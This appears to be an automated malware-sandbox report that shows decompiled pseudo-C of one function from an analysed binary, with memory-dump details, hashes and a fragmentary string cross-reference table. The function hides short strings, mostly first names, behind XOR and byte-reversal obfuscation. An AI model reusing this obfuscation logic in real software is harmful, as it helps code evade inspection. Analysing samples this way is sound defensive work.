l, xrefs: 0040E520
m, xrefs: 0040E9F9
r, xrefs: 0040EAB6
s, xrefs: 0040E9B2
,, xrefs: 0040E3CB
e, xrefs: 0040DC39
r, xrefs: 0040E7D5
r, xrefs: 0040DD6E
a, xrefs: 0040E62E
n, xrefs: 0040E636
r, xrefs: 0040DC72
rebyc, xrefs: 0040ED77
e, xrefs: 0040DC7A
n, xrefs: 0040DDCE
@, xrefs: 0040DF62
t, xrefs: 0040E96C
o, xrefs: 0040E394
a, xrefs: 0040DC12
n, xrefs: 0040E424
c, xrefs: 0040EAA6
d, xrefs: 0040DDF6
r, xrefs: 0040ECD3
i, xrefs: 0040E78E
s, xrefs: 0040E108
x$], xrefs: 0040E376
n, xrefs: 0040E9C2
s, xrefs: 0040E1EE
o, xrefs: 0040E3BB
a, xrefs: 0040E7DD
e, xrefs: 0040E0F8
hyb, xrefs: 0040ED23
d, xrefs: 0040DE0E
n, xrefs: 0040E7C5
C, xrefs: 0040E747
l, xrefs: 0040E0E8
i, xrefs: 0040DE06
n, xrefs: 0040E9A3
dualc, xrefs: 0040EC6E
t, xrefs: 0040DC8A
a, xrefs: 0040E434
o, xrefs: 0040E1F6
a, xrefs: 0040ECCB
N, xrefs: 0040DF5A
d, xrefs: 0040DDD7
S, xrefs: 0040E71F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$@$A$A$B$C$G@,$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$b$b$c$c$c$d$d$d$d$d$d$d$d$dualc$e$e$e$e$e$e$e$e$f$fna$g$g$h$h$hyb$i$i$i$j$j$j$j$l$l$l$l$lmada$m$m$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$t$u$x$]$y$y$y
API String ID: 0-3420446056
Opcode ID: 61968711493c94afcf7b2d208f4ce372754da47d982c7ba6b8816e6091b8bd33
Instruction ID: 783009e22913d8b145aff4382d8fc585394a81b2b82b9b90aaca791fecb38a32
Opcode Fuzzy Hash: 61968711493c94afcf7b2d208f4ce372754da47d982c7ba6b8816e6091b8bd33
Instruction Fuzzy Hash: 00A2CF2000D7C189E332C77894547DFBFD11BA6318F489E9ED4ED6A292C6BA0259CB77

Uniqueness

Uniqueness Score: -1.00%

Function 0040DE56, Relevance: 114.4, Strings: 91, Instructions: 682
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040DE56(void* __eax, char __ebx, void* __esi, signed char _a1, signed char _a2, signed char _a3, intOrPtr _a4, char* _a8, void* _a12, char _a13, char _a14, char _a15, void* _a16, char _a17, char _a18, char _a19, char* _a20, char* _a24, char* _a28, char* _a32, intOrPtr _a36, intOrPtr _a40, char* _a44, intOrPtr _a48, char* _a52, char* _a56, char* _a60, signed int _a64, char* _a68, signed int* _a72, intOrPtr _a76, signed int* _a80, char* _a84, intOrPtr _a88, char* _a92, char* _a96, char* _a100, intOrPtr _a104, signed char* _a108, char* _a112, intOrPtr _a116, char* _a120, intOrPtr _a124, char* _a128, intOrPtr _a132, char* _a136, signed char* _a140, signed int* _a144, signed char* _a148, signed int* _a152, intOrPtr _a156, signed char _a160, signed char _a161, signed char _a162, signed char _a163, signed char _a164, signed int _a165, signed int _a168, signed int _a169, signed int _a170, signed int _a171, signed int _a172, signed int _a173, signed int _a176, signed int _a177, signed int _a178, signed int _a179, signed int _a180, signed int _a181, char _a182, char _a184, signed int _a185, signed int _a186, signed int _a187, signed int _a188, signed int _a189, signed int _a190, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, char _a200, signed int _a208, signed int _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a214, signed int _a216, signed int _a217, signed int _a218, signed int _a219, signed int _a220, signed int _a221, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, char _a236, char _a240, char _a248, char _a249, char _a250, char _a251, char _a252, char _a253, char _a256, char _a257, char _a258, char _a259, char _a260, char _a261, char _a264, signed char _a272, signed char _a273, signed char _a274, signed char _a275, signed char _a276, signed char _a277, char _a280, char _a296, char _a304, char _a312, char _a313, char _a314, char _a315, char _a316, char _a317, char _a320, signed char _a328, signed char _a329, signed char _a330, signed char _a331, signed char _a332, signed char _a333, char _a336, char _a337, char _a338, char _a339, char _a340, char _a341, char _a352, char _a360, signed char _a368, signed char _a369, signed char _a370, signed char _a371, signed char _a372, signed char _a373, signed char _a376, signed char _a377, signed char _a378, signed char _a379, signed char _a380, signed char _a381, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a408, char _a416, signed char _a424, signed char _a425, signed char _a426, signed char _a427, signed char _a428, signed char _a429, signed char _a430, signed char _a432, signed char _a433, signed char _a434, signed char _a435, signed char _a436, signed char _a437, signed char _a438, char _a448, char _a449, char _a450, char _a451, char _a452, char _a453, char _a454, char _a455, char _a464, char _a465, char _a466, char _a467, char _a468, char _a469, char _a470, char _a471) {
				signed char _v0;
				char _v1;
				char _v2;
				char _v3;
				char _v4;
				intOrPtr _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				intOrPtr _v16;
				signed int _v17;
				signed int _v18;
				signed int _v19;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v44;
				void* _t545;
				char* _t551;
				void* _t553;
				void* _t561;
				void* _t566;
				void* _t573;
				void* _t579;
				void* _t586;
				void* _t592;
				void* _t599;
				char _t606;
				char _t611;
				signed int _t629;
				intOrPtr* _t631;
				char _t637;
				char _t645;
				char _t652;
				char _t657;
				char _t663;
				char _t673;
				char _t678;
				char _t684;
				void* _t690;
				void* _t695;
				intOrPtr _t713;
				intOrPtr _t782;
				void* _t783;
				void* _t785;
				signed int _t786;
				void* _t787;
				void* _t788;
				char _t789;
				signed int _t790;
				void* _t791;
				void* _t792;
				void* _t793;
				void* _t794;
				char _t795;
				intOrPtr _t799;
				void* _t801;

				_t785 = __esi;
				_t545 = __eax;
				do {
					_t637 =  *((intOrPtr*)(_t801 + _t545 + 0xd8));
					 *((char*)(_t801 + _t545 + 0xd8)) =  *((intOrPtr*)(_t801 + _t785 + 0xd8));
					_t545 = _t545 + 1;
					 *((char*)(_t801 + _t785 + 0xd8)) = _t637;
					_t785 = _t785 - 1;
				} while (_t545 < _t785);
				_a376 = _a216 ^ 0x00000048;
				_a377 = _a217 ^ 0x0000000d;
				_a378 = _a218 ^ 0x00000002;
				_a379 = _a219 ^ 0x00000003;
				_push(4);
				_a380 = _a220 ^ 0x0000000c;
				_push( &_a16);
				 *0x431c89 = 0x19;
				_a381 = _a221 ^ 0x00000085;
				_a16 = 0xc1;
				_a17 = 0x6a;
				_a18 = 0x1d;
				_a19 = 4;
				_a12 = 0xb0;
				_a13 = 0xd4;
				_a14 = 0xb1;
				_a15 = 0xdf;
				_t551 = E0040D980( &_a12);
				_push(6);
				_push( &_a392);
				_a44 = _t551;
				_a392 = 0x57;
				_a393 = 0xc8;
				_a394 = 0x41;
				_a395 = 3;
				_a396 = 0x4e;
				_a397 = 0x40;
				_a208 = 0xd4;
				_a209 = 0xb2;
				_a210 = 0xc0;
				_a211 = 0xa1;
				_a212 = 0xcf;
				_a213 = 0xa4;
				_a24 = E0040D980( &_a208);
				_a208 = 0x78;
				_a209 = 0x39;
				_a210 = 0xb1;
				_a211 = 0xa4;
				_a212 = 0xe;
				_a213 = 0x10;
				_a214 = 9;
				_t553 = 0;
				_t786 = 6;
				do {
					_t645 =  *((intOrPtr*)(_t801 + _t553 + 0xe0));
					 *((char*)(_t801 + _t553 + 0xe0)) =  *((intOrPtr*)(_t801 + _t786 + 0xe0));
					_t553 = _t553 + 1;
					 *((char*)(_t801 + _t786 + 0xe0)) = _t645;
					_t786 = _t786 - 1;
				} while (_t553 < _t786);
				_a432 = _a208 ^ 0x0000006e;
				_a433 = _a209 ^ 0x00000075;
				_a434 = _a210 ^ 0x00000061;
				_a435 = _a211 ^ 0x000000d6;
				_a436 = _a212 ^ 0x000000d6;
				_push(8);
				_push( &_a464);
				_a437 = _a213 ^ 0x0000005c;
				 *0x431c89 = 0x19;
				_a438 = _a214 ^ 0x00000078;
				_a464 = 0xef;
				_a465 = 0xb3;
				_a466 = 0x36;
				_a467 = 0x5a;
				_a468 = 0x64;
				_a469 = 0x36;
				_a470 = 0xbd;
				_a471 = 0x1b;
				_a224 = 0x1c;
				_a225 = 0x7b;
				_a226 = 0x1e;
				_a227 = 0x6c;
				_a228 = 4;
				_a229 = 0x65;
				_a230 = 0x17;
				_a231 = 0x73;
				_a20 = E0040D980( &_a224);
				_a192 = 0x1b;
				_a193 = 0xd3;
				_a194 = 0xb2;
				_a195 = 0xb7;
				_a196 = 0xd9;
				_a197 = 0x57;
				_t561 = 0;
				_t787 = 5;
				do {
					_t652 =  *((intOrPtr*)(_t801 + _t561 + 0xd8));
					 *((char*)(_t801 + _t561 + 0xd8)) =  *((intOrPtr*)(_t801 + _t787 + 0xd8));
					_t561 = _t561 + 1;
					 *((char*)(_t801 + _t787 + 0xd8)) = _t652;
					_t787 = _t787 - 1;
				} while (_t561 < _t787);
				_a328 = _a192 ^ 0x0000003d;
				_a329 = _a193 ^ 0x000000b8;
				_a330 = _a194 ^ 0x000000da;
				_a331 = _a195 ^ 0x000000d7;
				_a332 = _a196 ^ 0x000000a0;
				_a333 = _a197 ^ 0x0000001b;
				_a432 = 0x6a;
				_a433 = 0x61;
				_a434 = 0x79;
				_a435 = 0x73;
				_a436 = 0x6f;
				_a437 = 0x6e;
				_a438 = __ebx;
				_a192 = 0x5d;
				_a193 = 0xdf;
				_a194 = 0x27;
				_a195 = 0xb2;
				_a196 = 0x24;
				_a197 = 0xa9;
				_t566 = 0;
				_t788 = 5;
				do {
					_t657 =  *((intOrPtr*)(_t801 + _t566 + 0xd8));
					 *((char*)(_t801 + _t566 + 0xd8)) =  *((intOrPtr*)(_t801 + _t788 + 0xd8));
					_t566 = _t566 + 1;
					 *((char*)(_t801 + _t788 + 0xd8)) = _t657;
					_t788 = _t788 - 1;
				} while (_t566 < _t788);
				_a368 = _a192 ^ 0x000000c3;
				_a369 = _a193 ^ 0x00000041;
				_a370 = _a194 ^ 0x000000c0;
				_a371 = _a195 ^ 0x00000055;
				_push(4);
				_a372 = _a196 ^ 0x000000a6;
				_push( &_v4);
				 *0x431c89 = 0x19;
				_a373 = _a197 ^ 0x0000005d;
				_v4 = 0x89;
				_v3 = 0xda;
				_v2 = 8;
				_v1 = 0x66;
				_v12 = 0x42;
				_v11 = 0x28;
				_v10 = 0x41;
				_v9 = 0x2c;
				_a4 = E0040D980( &_v12);
				_v20 = 0xb7;
				_v19 = 0xde;
				_v18 = 0x21;
				_v17 = 0x73;
				_t573 = 0;
				_t789 = 3;
				do {
					_t663 =  *((intOrPtr*)(_t801 + _t573 + 0xc));
					 *((char*)(_t801 + _t573 + 0xc)) =  *((intOrPtr*)(_t801 + _t789 + 0xc));
					_t573 = _t573 + 1;
					 *((char*)(_t801 + _t789 + 0xc)) = _t663;
					_t789 = _t789 - 1;
				} while (_t573 < _t789);
				_v0 = _v20 ^ 0x00000019;
				_a1 = _v19 ^ 0x0000004e;
				_push(6);
				_push( &_a312);
				_t184 =  &_a184; // 0x78
				_a2 = _v18 ^ 0x000000bb;
				 *0x431c89 = 0x19;
				_a3 = _v17 ^ 0x000000b7;
				_a216 = 0x6a;
				_a217 = 0x6f;
				_a218 = 0x68;
				_a219 = 0x6e;
				_a220 = __ebx;
				_a312 = 0xf5;
				_a313 = 0x6f;
				_a314 = 0x36;
				_a315 = 0x2c;
				_a316 = 0x84;
				_a317 = 0x4f;
				_a184 = 0x45;
				_a185 = 0x24;
				_a186 = 0x48;
				_a187 = 0x21;
				_a188 = 0x42;
				_a189 = 0x27;
				_v28 = E0040D980(_t184);
				_a232 = 0x61;
				_a233 = 0x6e;
				_a234 = 0x6e;
				_a235 = 0x61;
				_a236 = __ebx;
				_a184 = 0x6e;
				_a185 = 0x3b;
				_a186 = 0x97;
				_a187 = 0xd3;
				_a188 = 0x92;
				_a189 = 0xcb;
				_a190 = 0x44;
				_t579 = 0;
				_t790 = 6;
				do {
					_t218 = _t790 + 0xe0; // 0x6e
					_t220 = _t579 + 0xe0; // 0x6e
					 *((char*)(_t801 + _t579 + 0xe0)) =  *((intOrPtr*)(_t801 + _t218));
					_t579 = _t579 + 1;
					 *((char*)(_t801 + _t790 + 0xe0)) =  *((intOrPtr*)(_t801 + _t220));
					_t790 = _t790 - 1;
				} while (_t579 < _t790);
				_t225 =  &_a184; // 0x6e
				_a424 =  *_t225 ^ 0x00000026;
				_a427 = _a187 ^ 0x000000bd;
				_a425 = _a185 ^ 0x000000b9;
				_a426 = _a186 ^ 0x000000f7;
				_a430 = _a190 ^ 0x0000006e;
				_a428 = _a188 ^ 0x000000f3;
				_a429 = _a189 ^ 0x0000005a;
				_a448 = 0x63;
				_a449 = 0x6c;
				_a450 = 0x61;
				_a451 = 0x75;
				_a452 = 0x64;
				_a453 = 0x69;
				_a454 = 0x61;
				_a455 = __ebx;
				_a176 = 0x71;
				_a177 = 0x6a;
				_a178 = 0x4c;
				_a179 = 0x72;
				_a180 = 0x4d;
				_a181 = 1;
				_t586 = 0;
				_t791 = 5;
				do {
					_t673 =  *((intOrPtr*)(_t801 + _t586 + 0xd8));
					 *((char*)(_t801 + _t586 + 0xd8)) =  *((intOrPtr*)(_t801 + _t791 + 0xd8));
					_t586 = _t586 + 1;
					 *((char*)(_t801 + _t791 + 0xd8)) = _t673;
					_t791 = _t791 - 1;
				} while (_t586 < _t791);
				_t263 =  &_a178; // 0x4c
				_a328 = _a176 ^ 0x00000069;
				_t265 =  &_a179; // 0x72
				_a329 = _a177 ^ 0x00000028;
				_t267 =  &_a180; // 0x4d
				_a330 =  *_t263 ^ 0x0000001e;
				_a331 =  *_t265 ^ 0x00000029;
				_a178 = 0xb5;
				_a179 = 0xb5;
				_a332 =  *_t267 ^ 0x00000004;
				_a333 = _a181 ^ 0x00000071;
				_a248 = 0x6a;
				_a249 = 0x61;
				_a250 = 0x6e;
				_a251 = 0x65;
				_a252 = __ebx;
				_a176 = 0x16;
				_a177 = 0xa9;
				_a180 = 0x78;
				_a181 = 0xb9;
				_t592 = 0;
				_t792 = 5;
				do {
					_t678 =  *((intOrPtr*)(_t801 + _t592 + 0xd8));
					 *((char*)(_t801 + _t592 + 0xd8)) =  *((intOrPtr*)(_t801 + _t792 + 0xd8));
					_t592 = _t592 + 1;
					 *((char*)(_t801 + _t792 + 0xd8)) = _t678;
					_t792 = _t792 - 1;
				} while (_t592 < _t792);
				_a368 = _a176 ^ 0x000000d4;
				_a369 = _a177 ^ 0x00000019;
				_a370 = _a178 ^ 0x000000c7;
				_a371 = _a179 ^ 0x000000dc;
				_push(6);
				_a372 = _a180 ^ 0x000000c8;
				_push( &_a400);
				 *0x431c89 = 0x19;
				_a373 = _a181 ^ 0x00000016;
				_a400 = 0x53;
				_a401 = 0x8b;
				_a402 = 0xa2;
				_a403 = 0x94;
				_a404 = 0x67;
				_a405 = 0x43;
				_a176 = 0x66;
				_a177 = 0x35;
				_a178 = 0x40;
				_a179 = 0x33;
				_a180 = 0x52;
				_a181 = 0x3c;
				_t799 = E0040D980( &_a176);
				_a376 = 0x6c;
				_a377 = 0x69;
				_a378 = 0x6e;
				_a379 = 0x64;
				_a380 = 0x61;
				_a381 = __ebx;
				_a424 = 0x73;
				_a425 = 0x61;
				_a426 = 0x6e;
				_a427 = 0x64;
				_a428 = 0x72;
				_a429 = 0x61;
				_a430 = __ebx;
				_a216 = 0x6c;
				_a217 = 0x69;
				_a218 = 0x73;
				_a219 = 0x61;
				_a220 = __ebx;
				_a168 = 0x61;
				_a169 = 1;
				_a170 = 0x45;
				_a171 = 0xff;
				_a172 = 0x6e;
				_a173 = 0xf4;
				_t599 = 0;
				_t793 = 5;
				do {
					_t684 =  *((intOrPtr*)(_t801 + _t599 + 0xdc));
					 *((char*)(_t801 + _t599 + 0xdc)) =  *((intOrPtr*)(_t801 + _t793 + 0xdc));
					_t599 = _t599 + 1;
					 *((char*)(_t801 + _t793 + 0xdc)) = _t684;
					_t793 = _t793 - 1;
				} while (_t599 < _t793);
				_a368 = _a168 ^ 0x00000099;
				_a369 = _a169 ^ 0x0000000f;
				_a370 = _a170 ^ 0x00000091;
				_a371 = _a171 ^ 0x00000026;
				_push(6);
				_a372 = _a172 ^ 0x00000078;
				_push( &_a336);
				_t362 =  &_a168; // 0x66
				 *0x431c89 = 0x19;
				_a373 = _a173 ^ 0x00000061;
				_a336 = __ebx;
				_a337 = 0xc3;
				_a338 = 0x49;
				_a339 = 0x83;
				_a340 = 0xfc;
				_a341 = 0x33;
				_a168 = 0x75;
				_a169 = 0x1e;
				_a170 = 0x7f;
				_a171 = 0xd;
				_a172 = 0x68;
				_a173 = 6;
				_t782 = E0040D980(_t362);
				_a248 = 0x62;
				_a249 = 0x65;
				_a250 = 0x74;
				_a251 = 0x74;
				_a252 = 0x79;
				_a253 = __ebx;
				_a256 = 0x68;
				_a257 = 0x65;
				_a258 = 0x6c;
				_a259 = 0x65;
				_a260 = 0x6e;
				_a261 = __ebx;
				_a184 = 0x73;
				_a185 = 0x61;
				_a186 = 0x6e;
				_a187 = 0x64;
				_a188 = 0x72;
				_a189 = 0x61;
				_a190 = __ebx;
				_a160 = 8;
				_a161 = 0xf;
				_a162 = 0x6d;
				_a163 = 0xa3;
				_a164 = 0x9f;
				_a165 = 0x98;
				_t690 = 0;
				_t794 = 5;
				do {
					_t606 =  *((intOrPtr*)(_t801 + _t690 + 0xdc));
					 *((char*)(_t801 + _t690 + 0xdc)) =  *((intOrPtr*)(_t801 + _t794 + 0xdc));
					_t690 = _t690 + 1;
					 *((char*)(_t801 + _t794 + 0xdc)) = _t606;
					_t794 = _t794 - 1;
				} while (_t690 < _t794);
				_a273 = _a161 ^ 0x000000f0;
				_a272 = _a160 ^ 0x000000dc;
				_a274 = _a162 ^ 0x000000cd;
				_a276 = _a164 ^ 0x0000006e;
				_a275 = _a163 ^ 0x00000003;
				_a277 = _a165 ^ 0x00000008;
				_a168 = 0x63;
				_a169 = 0x61;
				_a170 = 0x72;
				_a171 = 0x6f;
				_a172 = 0x6c;
				_a173 = __ebx;
				_a176 = 0xee;
				_a177 = 0x5b;
				_a178 = 0xc5;
				_a179 = 0x99;
				_a180 = 0x2f;
				_t695 = 0;
				_t795 = 4;
				do {
					_t611 =  *((intOrPtr*)(_t801 + _t695 + 0xec));
					 *((char*)(_t801 + _t695 + 0xec)) =  *((intOrPtr*)(_t801 + _t795 + 0xec));
					_t695 = _t695 + 1;
					 *((char*)(_t801 + _t795 + 0xec)) = _t611;
					_t795 = _t795 - 1;
				} while (_t695 < _t795);
				_a160 = _a176 ^ 0x0000005d;
				_a161 = _a177 ^ 0x000000ec;
				_a162 = _a178 ^ 0x000000b1;
				_a163 = _a179 ^ 0x00000033;
				_a164 = _a180 ^ 0x000000ee;
				_a4 = _v8;
				_v0 =  &_a200;
				_a8 =  &_a240;
				_a12 =  &_a264;
				_a16 =  &_a376;
				_a20 =  &_v32;
				_a24 =  &_a224;
				_a36 = _v4;
				_a28 =  &_a280;
				_a32 =  &_a320;
				_a40 = _v16;
				_a48 = _v12;
				_a44 =  &_a392;
				_a52 =  &_a296;
				_a56 =  &_a400;
				_a60 =  &_a336;
				_a64 = _v20;
				_a68 =  &_v24;
				_a72 =  &_a192;
				_a76 = _v44;
				_a80 =  &_a216;
				_a84 =  &_a408;
				_t494 =  &_a432; // 0x64
				_a88 = _t494;
				_a92 =  &_a312;
				_a96 =  &_a232;
				_a100 =  &_a352;
				 *0x431c89 = 0x19;
				_a176 = 0x73;
				_a177 = 0x68;
				_a178 = 0x61;
				_a179 = 0x72;
				_a180 = 0x6f;
				_a181 = 0x6e;
				_a182 = __ebx;
				_a104 = _t799;
				_a108 =  &_a368;
				_a112 =  &_a416;
				_t514 =  &_a208; // 0x6c
				_a116 = _t514;
				_t518 =  &_a256; // 0x68
				_a120 =  &_a360;
				_a128 =  &_a248;
				_a132 = _t518;
				_a136 =  &_a184;
				_a140 =  &_a272;
				_a144 =  &_a168;
				_t530 =  &_a304; // 0x72
				_a124 = _t782;
				_a148 =  &_a160;
				_a152 =  &_a176;
				_a156 = _t530;
				_t629 = E0040C1D0( &_a176);
				_t796 =  *((intOrPtr*)(_t801 + 0x38 + _t629 % 0x28 * 4));
				_t631 =  *((intOrPtr*)(_t801 + 0x38 + _t629 % 0x28 * 4));
				_t783 = _t631 + 1;
				do {
					_t713 =  *_t631;
					_t631 = _t631 + 1;
				} while (_t713 != __ebx);
				return E00424873(E004028A0(_a448, _t796, _t631 - _t783), _a432);
			}

0x0040de56
0x0040de56
0x0040de60
0x0040de67
0x0040de6e
0x0040de75
0x0040de76
0x0040de7d
0x0040de7e
0x0040de9c
0x0040deaa
0x0040debd
0x0040dece
0x0040ded5
0x0040dedb
0x0040dee5
0x0040deea
0x0040def1
0x0040def8
0x0040defd
0x0040df02
0x0040df07
0x0040df0c
0x0040df11
0x0040df16
0x0040df1b
0x0040df20
0x0040df25
0x0040df2e
0x0040df36
0x0040df3a
0x0040df42
0x0040df4a
0x0040df52
0x0040df5a
0x0040df62
0x0040df6a
0x0040df72
0x0040df7a
0x0040df82
0x0040df8a
0x0040df92
0x0040df9f
0x0040dfa3
0x0040dfab
0x0040dfb3
0x0040dfbb
0x0040dfc3
0x0040dfcb
0x0040dfd3
0x0040dfdb
0x0040dfdd
0x0040dfe2
0x0040dfe9
0x0040dff0
0x0040dff7
0x0040dff8
0x0040dfff
0x0040e000
0x0040e01e
0x0040e02c
0x0040e042
0x0040e050
0x0040e05e
0x0040e065
0x0040e073
0x0040e07b
0x0040e082
0x0040e089
0x0040e090
0x0040e098
0x0040e0a0
0x0040e0a8
0x0040e0b0
0x0040e0b8
0x0040e0c0
0x0040e0c8
0x0040e0d0
0x0040e0d8
0x0040e0e0
0x0040e0e8
0x0040e0f0
0x0040e0f8
0x0040e100
0x0040e108
0x0040e115
0x0040e119
0x0040e121
0x0040e129
0x0040e131
0x0040e139
0x0040e141
0x0040e149
0x0040e14b
0x0040e150
0x0040e157
0x0040e15e
0x0040e165
0x0040e166
0x0040e16d
0x0040e16e
0x0040e18f
0x0040e19d
0x0040e1ab
0x0040e1c1
0x0040e1c8
0x0040e1cf
0x0040e1d6
0x0040e1de
0x0040e1e6
0x0040e1ee
0x0040e1f6
0x0040e1fe
0x0040e206
0x0040e20d
0x0040e215
0x0040e21d
0x0040e225
0x0040e22d
0x0040e235
0x0040e23d
0x0040e23f
0x0040e250
0x0040e257
0x0040e25e
0x0040e265
0x0040e266
0x0040e26d
0x0040e26e
0x0040e28c
0x0040e29a
0x0040e2ad
0x0040e2be
0x0040e2c5
0x0040e2cb
0x0040e2d5
0x0040e2da
0x0040e2e1
0x0040e2e8
0x0040e2ed
0x0040e2f2
0x0040e2f7
0x0040e2fc
0x0040e301
0x0040e306
0x0040e30b
0x0040e315
0x0040e319
0x0040e31e
0x0040e323
0x0040e328
0x0040e32d
0x0040e32f
0x0040e334
0x0040e338
0x0040e33c
0x0040e340
0x0040e341
0x0040e345
0x0040e346
0x0040e35b
0x0040e363
0x0040e367
0x0040e375
0x0040e376
0x0040e37d
0x0040e381
0x0040e388
0x0040e38c
0x0040e394
0x0040e39c
0x0040e3a4
0x0040e3ac
0x0040e3b3
0x0040e3bb
0x0040e3c3
0x0040e3cb
0x0040e3d3
0x0040e3db
0x0040e3e3
0x0040e3eb
0x0040e3f3
0x0040e3fb
0x0040e403
0x0040e40b
0x0040e418
0x0040e41c
0x0040e424
0x0040e42c
0x0040e434
0x0040e43c
0x0040e443
0x0040e44b
0x0040e453
0x0040e45b
0x0040e463
0x0040e46b
0x0040e473
0x0040e47b
0x0040e47d
0x0040e482
0x0040e482
0x0040e489
0x0040e490
0x0040e497
0x0040e498
0x0040e49f
0x0040e4a0
0x0040e4a4
0x0040e4bb
0x0040e4d1
0x0040e4df
0x0040e4ed
0x0040e503
0x0040e50a
0x0040e511
0x0040e518
0x0040e520
0x0040e528
0x0040e530
0x0040e538
0x0040e540
0x0040e548
0x0040e550
0x0040e557
0x0040e55f
0x0040e567
0x0040e56f
0x0040e577
0x0040e57f
0x0040e587
0x0040e589
0x0040e590
0x0040e597
0x0040e59e
0x0040e5a5
0x0040e5a6
0x0040e5ad
0x0040e5ae
0x0040e5c0
0x0040e5c9
0x0040e5d0
0x0040e5df
0x0040e5e6
0x0040e5ed
0x0040e5fb
0x0040e60a
0x0040e611
0x0040e618
0x0040e61f
0x0040e626
0x0040e62e
0x0040e636
0x0040e63e
0x0040e646
0x0040e64d
0x0040e655
0x0040e65d
0x0040e665
0x0040e66d
0x0040e66f
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e843
0x0040e845
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

j, xrefs: 0040E626
t, xrefs: 0040E964
O, xrefs: 0040E3DB
B, xrefs: 0040E2FC
lmada, xrefs: 0040ED07
b, xrefs: 0040E954
a, xrefs: 0040EAAE
n, xrefs: 0040E42C
W, xrefs: 0040E141
l, xrefs: 0040E786
(, xrefs: 0040E301
n, xrefs: 0040E3A4
n, xrefs: 0040E796
e, xrefs: 0040E99B
e, xrefs: 0040E63E
!, xrefs: 0040E3FB
d, xrefs: 0040E7CD
a, xrefs: 0040E7BD
s, xrefs: 0040ECBB
n, xrefs: 0040ECE3
e, xrefs: 0040E95C
f, xrefs: 0040E2F7
d, xrefs: 0040E79E
l, xrefs: 0040E520
m, xrefs: 0040E9F9
r, xrefs: 0040EAB6
s, xrefs: 0040E9B2
,, xrefs: 0040E3CB
r, xrefs: 0040E7D5
y, xrefs: 0040E1E6
